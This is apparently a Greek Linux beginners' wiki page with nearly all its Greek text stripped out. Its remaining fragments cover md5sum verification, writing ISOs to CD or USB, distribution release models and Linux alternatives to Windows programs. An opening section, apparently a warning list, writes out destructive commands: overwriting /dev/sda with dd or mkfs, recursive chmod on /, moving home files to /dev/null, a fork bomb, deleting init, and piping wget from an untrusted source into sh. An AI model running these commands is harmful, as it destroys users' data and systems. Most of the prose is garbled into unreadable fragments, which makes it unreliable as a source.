loader
,

.

linux kernel.

home folder ,

root.

root.

.

root.
linux kernel
,
.

root.

mv /home/$USER/* /dev/null

format

.

any_command > /dev/sda

.


dd if=/dev/urandom of=/dev/sda partition

.
mkfs.ext3 /dev/sda

chmod -R 777 /

root

,


,



.

root.

root.
yes
> /dev/sda.

root.
.

root.


.

root.
,
root.
.
( ...),
.
chmod 000 -R /
chown nobody:nobody -R /

. .
root .
.))--Pmav99 () 13:18, 12 2013 (UTC)
wget http://some_untrusted_source O | sh

( wget) .
,
.
: (){:|:&};:

: fork bomb
CERN . , .

rm /bin/init
cd / ; find -iname init -exec rm -rf {} \;

: init,
/sbin/init.

Linux /
< Linux

1 md5sum
1.1 ISO
2 ISO CD
3 ISO USB
4 + ;
5 , GNU/LINUX
6
7 Security
8 Rolling Release vs Fixed Release
9 Windows Linux

md5sum
md5sum .
md5sum. ,

, .
H . , md5sum
. To md5sum ( hash):
<pre<noinclude></noinclude>>7d493e93113a25468106fddae12affc9</pre<noinclude></noinclude
>>

. , , md5sum
, hashes. hashes
. , .
md5sum, . linux,

 .
<pre<noinclude></noinclude> style="margin-bottom: 0; border-bottom:none; paddingbottom:0.8em; background-color:LightCyan">$ md5sum
/path/to/file</pre<noinclude></noinclude>> <pre<noinclude></noinclude> style="margin-top: 0;
border-top-style:dashed; padding-top: 0.8em; backgroundcolor:LightCyan">ed93b7b80da4def082f3f26482171dac
/path/to/file</pre<noinclude></noinclude>>
windows MD5Sum WinMD5.

ISO

linux,
md5sums.txt hashes .
:
<pre<noinclude></noinclude> style="margin-bottom: 0; border-bottom:none; paddingbottom:0.8em; background-color:LightCyan">$ md5sum -c
md5sums.txt</pre<noinclude></noinclude>> <pre<noinclude></noinclude> style="margin-top: 0;
border-top-style:dashed; padding-top: 0.8em; background-color:LightCyan">filename.iso:
md5sum: someotherfile.iso: someotherfile.iso:
md5sum: WARNING: 1 listed file could not be
read</pre<noinclude></noinclude>>
: <pre<noinclude></noinclude>> filename.iso:
</pre<noinclude></noinclude>>
, .
.
md5sums.txt,
md5sum hash .

ISO CD
ISO : bit bit CD. ISO
CD ... !
,
CD/DVD. Burn Image.
: To InfraRecorder CD/DVD Microsoft
Windows.
: ISO
(Write Speed) CD (<8x).

 ISO USB
ISO USB '
:

UNetBootin
Linux Live USB Creator
yumi.
Universal USB Installer

:
format ( usb stick)
.

+ ;
.
.
"" google
( )
.
.

.
.


.
.
.
1.
2.
3.
4.
5.
6.

.
.
.
google links.
.
(..
, usb)
.(inner-link)

 , GNU/LINUX

http://wiki.ubuntu-gr.org/Community/Glossary

Security
Rolling Release vs Fixed Release

. rolling release setup
. fixed release
( 6 )
, Windows ( XP Vista ).
rolling release Arch Linux. Arch
. arch ,
CD Arch. Arch , .
Arch
.
fixed release distros.
rolling,
Arch, Gentoo Debian .
.
wikipedia: http://en.wikipedia.org/wiki/Rolling_release

Windows Linux
. .
http://alternativeto.net google
.

Windows

Microsoft Office

pdf

Adobe Reader
Photoshop
Photoshop
Windows Media
Player
Windows Photo
Viewer
Windows Photo
Gallery

Linux
LibreOffice, Calligra,WPS Office,Office
Online
okular,Evince
GIMP
Krita, MyPaint
VLC, SMplayer
Gwenview, Eye of GNOME
digiKam, Shotwell, Ristretto

()
()
( & )
irc

Windows Live Mail Thunderbird, Kontact, Evolution

Skype

Pidgin, Empathy

Skype
Skype
mIRC
Windows Movie
Maker
Winrar
File Explorer

Ekiga, Empathy, KDE Telepathy

Ekiga, Empathy, KDE Telepathy
WeeChat, Pidgin, Konversation
Kdenlive, Avidemux, OpenShot, Pitivi
7-Zip
Dolphin, Nautilus, Thunar, PCManFM

Linux /Playground
< Linux
:
.

1
2 /
2.1 ARCH LINUX
2.2 DEBIAN
2.2.1 DEBIAN Testing
2.2.2 DEBIAN SID

,
.
. .. Ubuntu 6 ,
12.04 ( 2012), 12.10 ( 2012) . ,
"" ' updates .
rolling ArchLinux.

(.. Debian),
(.. Archlinux).

 /
(homepages, communities ). (Clonezilla,
BackTrack ..).
.
hardware, .
puppy linux out of scope .
ARCH LINUX
Arch Linux rolling distribution
UNIX-like OS.
,
. wiki
. arch
bleeding-edge ,
. Arch Debian Sid,
Arch .
pacman package manager, Arch
Arch.
video tutorials ( )
ArchLinuxGR
DEBIAN
Debian, Linux,
1000 ' . linux
GNU.
Debian Unix
. .
29.000
ARM ,
, IBM s390 ,
x86 PowerPC .
Debian APT Advanced
Packaging Tool ( ) ,

.
. Debian
. Debian
, Debian Project Software in the Public Interest.
DEBIAN Testing

Testing ( ): ()
.

 (servers) .
.
DEBIAN SID

Unstable sid : .
.
,
testing.